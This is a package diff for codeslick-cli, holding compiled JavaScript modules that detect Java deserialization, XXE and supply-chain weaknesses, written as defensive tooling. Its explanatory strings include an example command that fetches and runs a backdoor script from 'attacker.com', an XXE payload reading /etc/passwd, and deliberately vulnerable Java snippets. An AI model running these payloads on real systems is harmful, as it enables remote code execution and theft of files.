codeslick-cli 1.0.0

package/dist/src/lib/analyzers/java/security-checks/deserialization-xxe.js

@@ -0,0 +1,163 @@
+"use strict";
+/**
+ * Java Deserialization and XXE Detection Module
+ *
+ * OWASP A08:2021 - Software and Data Integrity Failures
+ *
+ * This module detects vulnerabilities related to unsafe data processing:
+ * - Insecure Deserialization (CRITICAL)
+ * - XML External Entity (XXE) attacks (HIGH)
+ *
+ * Both vulnerabilities can lead to Remote Code Execution and severe data breaches.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.checkDeserializationAndXXE = checkDeserializationAndXXE;
+const createVulnerability_1 = require("../utils/createVulnerability");
+/**
+ * Checks for deserialization and XXE vulnerabilities in Java code
+ *
+ * @param lines - Array of code lines to analyze
+ * @returns Array of detected security vulnerabilities
+ */
+function checkDeserializationAndXXE(lines) {
+    const vulnerabilities = [];
+    let inMultiLineComment = false;
+    lines.forEach((line, index) => {
+        const lineNumber = index + 1;
+        const trimmed = line.trim();
+        // Track multi-line comment blocks (/* ... */)
+        if (trimmed.includes('/*')) {
+            inMultiLineComment = true;
+        }
+        if (trimmed.includes('*/')) {
+            inMultiLineComment = false;
+            return;
+        }
+        // Skip comments and empty lines
+        if (!trimmed || inMultiLineComment || trimmed.startsWith('//') || trimmed.startsWith('*'))
+            return;
+        // 5. Insecure deserialization - CRITICAL (Enhanced for Phase B)
+        // Detects:
+        // - ObjectInputStream without filtering
+        // - XStream without security framework
+        // - Jackson enableDefaultTyping
+        // - @JsonTypeInfo without restrictions
+        // - SnakeYAML unsafe constructor
+        // - Spring remoting
+        // Pattern 1: ObjectInputStream without validation
+        const hasObjectInputStream = trimmed.match(/ObjectInputStream\s*\(/) &&
+            !trimmed.includes('ValidatingObjectInputStream') &&
+            !trimmed.includes('ObjectInputFilter');
+        // Pattern 2: XStream without security framework
+        const hasXStreamVuln = trimmed.match(/new\s+XStream\s*\(/) ||
+            (trimmed.match(/XStream/) && trimmed.match(/fromXML\s*\(/));
+        // Pattern 3: Jackson enableDefaultTyping (very dangerous)
+        const hasJacksonVuln = trimmed.match(/enableDefaultTyping\s*\(/);
+        // Pattern 4: @JsonTypeInfo annotation (potential vuln if unrestricted)
+        const hasJsonTypeInfo = trimmed.match(/@JsonTypeInfo/) &&
+            (trimmed.includes('Id.CLASS') || trimmed.includes('Id.MINIMAL_CLASS'));
+        // Pattern 5: SnakeYAML unsafe constructor
+        const hasYAMLVuln = trimmed.match(/new\s+Yaml\s*\(/) &&
+            (trimmed.match(/new\s+Constructor\s*\(/) || !trimmed.includes('SafeConstructor'));
+        // Pattern 6: Spring HttpInvokerServiceExporter (uses Java serialization)
+        const hasSpringRemoting = trimmed.match(/HttpInvokerServiceExporter/) ||
+            trimmed.match(/RmiServiceExporter/);
+        if (hasObjectInputStream || hasXStreamVuln || hasJacksonVuln || hasJsonTypeInfo || hasYAMLVuln || hasSpringRemoting) {
+            let message = 'Insecure Deserialization vulnerability detected';
+            let recommendation = 'Use ValidatingObjectInputStream with class whitelist, or avoid deserializing untrusted data entirely';
+            if (hasXStreamVuln) {
+                message = 'Insecure Deserialization vulnerability detected in XStream';
+                recommendation = 'Use XStream.setupDefaultSecurity() or implement custom security framework with whitelist';
+            }
+            else if (hasJacksonVuln) {
+                message = 'Insecure Deserialization vulnerability detected in Jackson - enableDefaultTyping is extremely dangerous';
+                recommendation = 'Remove enableDefaultTyping(). Use explicit @JsonSubTypes or PolymorphicTypeValidator with whitelist';
+            }
+            else if (hasJsonTypeInfo) {
+                message = 'Potential Deserialization vulnerability - @JsonTypeInfo allows type specification';
+                recommendation = 'Use @JsonSubTypes to restrict allowed types or configure PolymorphicTypeValidator';
+            }
+            else if (hasYAMLVuln) {
+                message = 'Insecure Deserialization vulnerability detected in SnakeYAML';
+                recommendation = 'Use SafeConstructor instead of Constructor to prevent arbitrary object instantiation';
+            }
+            else if (hasSpringRemoting) {
+                message = 'Insecure Deserialization vulnerability in Spring Remoting';
+                recommendation = 'Spring remoting uses Java serialization. Switch to REST/gRPC or implement custom serialization with validation';
+            }
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('deserialization', message, recommendation, lineNumber, 'Java deserialization can instantiate arbitrary classes and execute their methods during object reconstruction. Attackers can craft malicious serialized objects that exploit gadget chains in the classpath (e.g., Commons Collections, Spring, Groovy) to achieve arbitrary code execution with full application privileges. This applies to ObjectInputStream, XStream, Jackson with default typing, and SnakeYAML.', 'Attacker sends crafted serialized object exploiting Commons Collections InvokerTransformer chain to execute: Runtime.getRuntime().exec("wget attacker.com/backdoor.sh | sh")', [
+                'Remote Code Execution (RCE)',
+                'Complete server compromise',
+                'Data exfiltration',
+                'Denial of Service',
+                'Installation of backdoors',
+                'Lateral movement'
+            ], 'ObjectInputStream ois = new ObjectInputStream(inputStream);\nObject obj = ois.readObject(); // Vulnerable to gadget chains\n// OR\nObjectMapper mapper = new ObjectMapper();\nmapper.enableDefaultTyping(); // Allows arbitrary class instantiation', 'import org.apache.commons.io.serialization.ValidatingObjectInputStream;\nValidatingObjectInputStream vois = new ValidatingObjectInputStream(inputStream);\nvois.accept(TrustedClass.class);\nObject obj = vois.readObject();\n// OR for Jackson:\nObjectMapper mapper = new ObjectMapper();\n// Use explicit subtypes instead of enableDefaultTyping', 'Use ValidatingObjectInputStream to whitelist allowed classes, or preferably switch to safer formats like JSON with Jackson/Gson (without enableDefaultTyping). For XStream, use setupDefaultSecurity(). For SnakeYAML, use SafeConstructor. Never deserialize untrusted data without strict class filtering'));
+        }
+        // 6. XML External Entity (XXE) - HIGH (Enhanced for Phase B)
+        // Detects:
+        // - DocumentBuilderFactory without secure features
+        // - SAXParserFactory without secure features
+        // - XMLInputFactory without secure properties
+        // - JAXB Unmarshaller without secure parsing
+        // - Third-party XML libraries (dom4j, jdom)
+        // - Spring XML bean definitions
+        // Check if this line or previous lines have secure configuration
+        const prevLines = lines.slice(Math.max(0, index - 10), index);
+        const hasSecureFeatures = prevLines.some(l => l.includes('setFeature') && (l.includes('disallow-doctype-decl') ||
+            l.includes('external-general-entities') ||
+            l.includes('external-parameter-entities') ||
+            l.includes('FEATURE_SECURE_PROCESSING')));
+        const hasSecureProperties = prevLines.some(l => l.includes('setProperty') && (l.includes('IS_SUPPORTING_EXTERNAL_ENTITIES') ||
+            l.includes('SUPPORT_DTD')));
+        // Pattern 1: DocumentBuilderFactory without secure features
+        const hasDocBuilderVuln = trimmed.match(/DocumentBuilderFactory\.newInstance\s*\(\)/) &&
+            !hasSecureFeatures;
+        // Pattern 2: SAXParserFactory without secure features
+        const hasSAXParserVuln = trimmed.match(/SAXParserFactory\.newInstance\s*\(\)/) &&
+            !hasSecureFeatures;
+        // Pattern 3: XMLInputFactory - check if setProperty is called in nearby lines
+        const hasXMLInputFactory = trimmed.match(/XMLInputFactory\.newFactory\s*\(\)/) ||
+            trimmed.match(/XMLInputFactory\.newInstance\s*\(\)/);
+        const hasXMLInputFactoryVuln = hasXMLInputFactory && !hasSecureProperties;
+        // Pattern 4: JAXB Unmarshaller without secure parsing
+        const hasJAXBUnmarshallerVuln = trimmed.match(/\.unmarshal\s*\(/) &&
+            (trimmed.match(/Unmarshaller/) || prevLines.some(l => l.match(/Unmarshaller/)));
+        // Pattern 5: Third-party XML libraries
+        const hasThirdPartyXML = trimmed.match(/SAXReader\s*\(/) ||
+            trimmed.match(/\.read\s*\(/) && prevLines.some(l => l.match(/SAXReader|dom4j/));
+        // Pattern 6: Spring XML bean definitions
+        const hasSpringXMLBeans = trimmed.match(/XmlBeanDefinitionReader/) ||
+            trimmed.match(/loadBeanDefinitions.*InputSource/);
+        // Pattern 7: General XML parsing with .parse() method
+        const hasGenericParse = trimmed.match(/\.parse\s*\(/) &&
+            (trimmed.match(/DocumentBuilder/) || prevLines.some(l => l.match(/DocumentBuilder/))) &&
+            !hasSecureFeatures;
+        if (hasDocBuilderVuln || hasSAXParserVuln || hasXMLInputFactoryVuln || hasJAXBUnmarshallerVuln ||
+            hasThirdPartyXML || hasSpringXMLBeans || hasGenericParse) {
+            let message = 'XML External Entity (XXE) vulnerability detected';
+            let recommendation = 'Disable external entity processing: factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)';
+            if (hasXMLInputFactoryVuln) {
+                message = 'XXE vulnerability in XMLInputFactory';
+                recommendation = 'Set IS_SUPPORTING_EXTERNAL_ENTITIES=false and SUPPORT_DTD=false on XMLInputFactory';
+            }
+            else if (hasJAXBUnmarshallerVuln) {
+                message = 'XXE vulnerability in JAXB Unmarshaller';
+                recommendation = 'Configure underlying XMLInputFactory or DocumentBuilderFactory with secure features before creating Unmarshaller';
+            }
+            else if (hasThirdPartyXML) {
+                message = 'XXE vulnerability in third-party XML library (dom4j/jdom)';
+                recommendation = 'Configure parser with setFeature to disable DTD and external entities';
+            }
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('xxe', message, recommendation, lineNumber, 'XML parsers by default process external entity references and DTD declarations in XML documents. Attackers can exploit this to read arbitrary files from the server filesystem, perform Server-Side Request Forgery (SSRF) attacks to internal systems, cause Denial of Service through entity expansion (billion laughs attack), or exfiltrate data through out-of-band channels.', 'XML with <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> reads /etc/passwd file and includes content in parser output or error messages', [
+                'Arbitrary file disclosure (/etc/passwd, application.properties, AWS credentials)',
+                'Server-Side Request Forgery (SSRF) to internal services (cloud metadata, databases)',
+                'Denial of Service (billion laughs entity expansion attack)',
+                'Port scanning internal network',
+                'Data exfiltration via out-of-band HTTP/DNS channels'
+            ], 'DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\nDocumentBuilder builder = factory.newDocumentBuilder();\nDocument doc = builder.parse(xmlInput); // Vulnerable - DTD enabled', 'DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\nfactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\nfactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);\nfactory.setFeature("http://xml.org/sax/features/external-general-entities", false);\nfactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);\nDocumentBuilder builder = factory.newDocumentBuilder();\nDocument doc = builder.parse(xmlInput);', 'Disable DOCTYPE declarations and external entity processing by setting secure features on the XML parser factory. For XMLInputFactory, set IS_SUPPORTING_EXTERNAL_ENTITIES=false. For JAXB, configure the underlying parser factory. Always parse untrusted XML with all entity processing disabled'));
+        }
+    });
+    return vulnerabilities;
+}
+//# sourceMappingURL=deserialization-xxe.js.map

package/dist/src/lib/analyzers/java/security-checks/deserialization-xxe.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"deserialization-xxe.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/deserialization-xxe.ts"],"names":[],"mappings":"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"}

package/dist/src/lib/analyzers/java/security-checks/enhanced-supply-chain.d.ts

@@ -0,0 +1,24 @@
+/**
+ * Java Enhanced Supply Chain Security Checks
+ * OWASP A03:2025 - Software and Supply Chain Security
+ *
+ * Detects supply chain vulnerabilities specific to Java ecosystem.
+ * Updated for OWASP 2025 with enhanced Maven/Gradle security (Phase 7B Day 7).
+ */
+import { SecurityVulnerability } from '../../types';
+/**
+ * Checks for enhanced supply chain security vulnerabilities in Java code
+ *
+ * Covers:
+ * - Check #1: Dynamic class loading with user input (CRITICAL)
+ * - Check #2: Insecure Maven repositories (HIGH)
+ * - Check #3: Package typosquatting patterns (CRITICAL)
+ * - Check #4: Unsigned JAR usage (HIGH) - NEW OWASP 2025
+ * - Check #5: Dependency confusion (HIGH) - NEW OWASP 2025
+ * - Check #6: Runtime bytecode loading (CRITICAL) - NEW OWASP 2025
+ *
+ * @param lines - Array of code lines
+ * @returns Array of security vulnerabilities found
+ */
+export declare function checkEnhancedSupplyChain(lines: string[]): SecurityVulnerability[];
+//# sourceMappingURL=enhanced-supply-chain.d.ts.map

package/dist/src/lib/analyzers/java/security-checks/enhanced-supply-chain.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"enhanced-supply-chain.d.ts","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/java/security-checks/enhanced-supply-chain.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,qBAAqB,EAAE,MAAM,aAAa,CAAC;AAGpD;;;;;;;;;;;;;GAaG;AACH,wBAAgB,wBAAwB,CACtC,KAAK,EAAE,MAAM,EAAE,GACd,qBAAqB,EAAE,CA2PzB"}

package/dist/src/lib/analyzers/java/security-checks/enhanced-supply-chain.js

@@ -0,0 +1,178 @@
+"use strict";
+/**
+ * Java Enhanced Supply Chain Security Checks
+ * OWASP A03:2025 - Software and Supply Chain Security
+ *
+ * Detects supply chain vulnerabilities specific to Java ecosystem.
+ * Updated for OWASP 2025 with enhanced Maven/Gradle security (Phase 7B Day 7).
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.checkEnhancedSupplyChain = checkEnhancedSupplyChain;
+const createVulnerability_1 = require("../utils/createVulnerability");
+/**
+ * Checks for enhanced supply chain security vulnerabilities in Java code
+ *
+ * Covers:
+ * - Check #1: Dynamic class loading with user input (CRITICAL)
+ * - Check #2: Insecure Maven repositories (HIGH)
+ * - Check #3: Package typosquatting patterns (CRITICAL)
+ * - Check #4: Unsigned JAR usage (HIGH) - NEW OWASP 2025
+ * - Check #5: Dependency confusion (HIGH) - NEW OWASP 2025
+ * - Check #6: Runtime bytecode loading (CRITICAL) - NEW OWASP 2025
+ *
+ * @param lines - Array of code lines
+ * @returns Array of security vulnerabilities found
+ */
+function checkEnhancedSupplyChain(lines) {
+    const vulnerabilities = [];
+    let inMultiLineComment = false;
+    // Track user input variables for dynamic class loading detection
+    const userInputVars = new Set();
+    lines.forEach((line, index) => {
+        const trimmedLine = line.trim();
+        // CRITICAL: Track multi-line comment blocks (/* ... */)
+        if (trimmedLine.includes('/*')) {
+            inMultiLineComment = true;
+        }
+        if (trimmedLine.includes('*/')) {
+            inMultiLineComment = false;
+            return; // Skip the line with */
+        }
+        // CRITICAL: Skip all lines inside multi-line comments and single-line comments
+        // FIX (Dec 6, 2025): Removed trimmedLine.startsWith('*') check
+        // Reason: Lines in multi-line comments can start with '-', text, etc. (not just '*')
+        // Example: "- Class.forName(userInput)" in documentation was being detected
+        // Solution: Rely on inMultiLineComment flag only
+        if (!trimmedLine ||
+            inMultiLineComment ||
+            trimmedLine.startsWith('//')) {
+            return;
+        }
+        const lowerLine = trimmedLine.toLowerCase();
+        // Track variables that receive user input
+        if (lowerLine.includes('request.getparameter') ||
+            lowerLine.includes('getuserinput') ||
+            lowerLine.includes('readuserinput')) {
+            const varMatch = trimmedLine.match(/(\w+)\s*=/);
+            if (varMatch) {
+                userInputVars.add(varMatch[1]);
+            }
+        }
+        // Check #1: Dynamic class loading with user input (ENHANCED OWASP 2025)
+        if (lowerLine.includes('class.forname(') || lowerLine.includes('classloader.loadclass(') ||
+            lowerLine.includes('.loadclass(')) {
+            // Check if using user input variable or direct request parameter
+            let usesUserInput = false;
+            if (lowerLine.includes('request.getparameter') || lowerLine.includes('getuserinput')) {
+                usesUserInput = true;
+            }
+            // Check if any tracked user input variable is used
+            for (const varName of userInputVars) {
+                if (trimmedLine.includes(varName)) {
+                    usesUserInput = true;
+                    break;
+                }
+            }
+            // Exclude hardcoded strings
+            const hasHardcodedString = /class\.forname\s*\(\s*"[^"]+"\s*\)/i.test(trimmedLine);
+            // Check for validation/whitelist
+            const hasSameLineValidation = lowerLine.includes('validate') || lowerLine.includes('whitelist');
+            const prevLines = lines.slice(Math.max(0, index - 10), index);
+            const hasWhitelistContext = prevLines.some(l => {
+                const lowerPrev = l.toLowerCase();
+                return (lowerPrev.includes('whitelist') || lowerPrev.includes('allowlist') ||
+                    lowerPrev.includes('allowed')) &&
+                    (lowerPrev.includes('set.of') || lowerPrev.includes('arrays.aslist'));
+            });
+            if (usesUserInput && !hasHardcodedString && !hasSameLineValidation && !hasWhitelistContext) {
+                vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('dynamic-class-loading', 'Dynamic class loading with user input enables arbitrary code execution', 'Whitelist allowed class names and validate against a predefined set of safe classes', index + 1, 'Loading classes dynamically based on user input allows attackers to instantiate arbitrary classes, leading to Remote Code Execution (RCE), deserialization attacks, and complete system compromise', 'String className = request.getParameter("class");\nClass.forName(className); // RCE vulnerability!', [
+                    'Remote Code Execution through arbitrary class instantiation',
+                    'Deserialization gadget chain exploitation',
+                    'Access to internal/restricted classes',
+                    'Complete application and server compromise',
+                    'Privilege escalation to system level'
+                ], 'Class.forName(userInput)', 'String[] ALLOWED = {"com.example.PluginA"};\nif (!Arrays.asList(ALLOWED).contains(className)) throw new SecurityException();\nClass.forName(className);', 'Never load classes dynamically from user input. Always use a whitelist of allowed class names and validate strictly before loading.'));
+            }
+        }
+        // Check #2: Insecure Maven repositories (HTTP repositories) - NEW OWASP 2025
+        if ((lowerLine.includes('repository') || lowerLine.includes('maven') || lowerLine.includes('gradle')) &&
+            lowerLine.includes('http://') && !lowerLine.includes('localhost')) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('insecure-maven-repository', 'HTTP repository detected - dependencies vulnerable to tampering', 'Use HTTPS repositories or trusted internal repositories for dependencies', index + 1, 'HTTP repositories are vulnerable to man-in-the-middle attacks and package tampering', '<url>http://insecure-repo.com/maven2</url> // vulnerable to MITM', [
+                'Man-in-the-middle attacks on dependency downloads',
+                'Package tampering and malicious code injection',
+                'Supply chain attacks through compromised repositories',
+                'Unauthorized modification of dependencies in transit'
+            ], '<url>http://repo.example.com/maven2</url>', '<url>https://repo.example.com/maven2</url>', 'Repository URLs should use HTTPS to prevent tampering during dependency downloads'));
+        }
+        // Check #3: Package typosquatting patterns - NEW OWASP 2025
+        // Common typos: apachi (apache), gooogle (google), commmons (commons)
+        if ((lowerLine.includes('import ') || lowerLine.includes('dependency>')) &&
+            (lowerLine.includes('apachi') || // should be "apache"
+                lowerLine.includes('gooogle') || // should be "google"
+                lowerLine.includes('commmons') || // should be "commons"
+                lowerLine.includes('jacksonn') || // should be "jackson"
+                lowerLine.includes('guavaa') || // should be "guava"
+                lowerLine.includes('slf4jj') || // should be "slf4j"
+                lowerLine.includes('hibernatee'))) { // should be "hibernate"
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('package-typosquatting', 'Package typosquatting detected - potentially malicious dependency', 'Verify package names against Maven Central official packages', index + 1, 'Typosquatting packages can contain malicious code that mimics legitimate packages', 'import org.apachi.commons.lang; // should be "apache"', [
+                'Malicious code execution from fake packages',
+                'Supply chain attacks through package confusion',
+                'Backdoor installation and data exfiltration',
+                'Credential theft and system compromise'
+            ], 'import org.apachi.commons.lang.StringUtils;', 'import org.apache.commons.lang.StringUtils; // verify correct package name', 'Package names should be verified against official Maven Central listings to avoid typosquatting'));
+        }
+        // Check #4: Unsigned JAR usage - NEW OWASP 2025
+        if ((lowerLine.includes('urlclassloader') || lowerLine.includes('jarfile')) &&
+            !lines.slice(index, Math.min(index + 15, lines.length)).some(nextLine => {
+                const lowerNext = nextLine.toLowerCase();
+                return lowerNext.includes('getcertificates()') ||
+                    lowerNext.includes('codesigner') ||
+                    lowerNext.includes('verify') && lowerNext.includes('signature');
+            })) {
+            vulnerabilities.push((0, createVulnerability_1.createJavaSecurityVulnerability)('unsigned-jar-usage', 'Loading unsigned JAR without signature verification', 'Verify JAR signatures using getCertificates() or CodeSigner before loading', index + 1, 'Loading unsigned JARs can introduce malicious code into the application', 'JarFile jar = new JarFile("plugin.jar"); // no signature verification', [
+                'Malicious code execution from tampered JARs',
+                'Supply chain attacks through compromised plugins',
+                'Backdoor installation without detection',
+                'Unauthorized code execution and data theft'
+            ], 'URLClassLoader loader = new URLClassLoader(new URL[]{jarUrl});', 'JarFile jar = new JarFile("plugin.jar", true);\nCertificate[] certs = jar.getCertificates();\nif (certs == null) throw new SecurityException("Unsigned JAR");', 'Always verify JAR signatures before loading to prevent supply chain attacks'));
+        }
+        // Check #5: Dependency confusion - NEW OWASP 2025
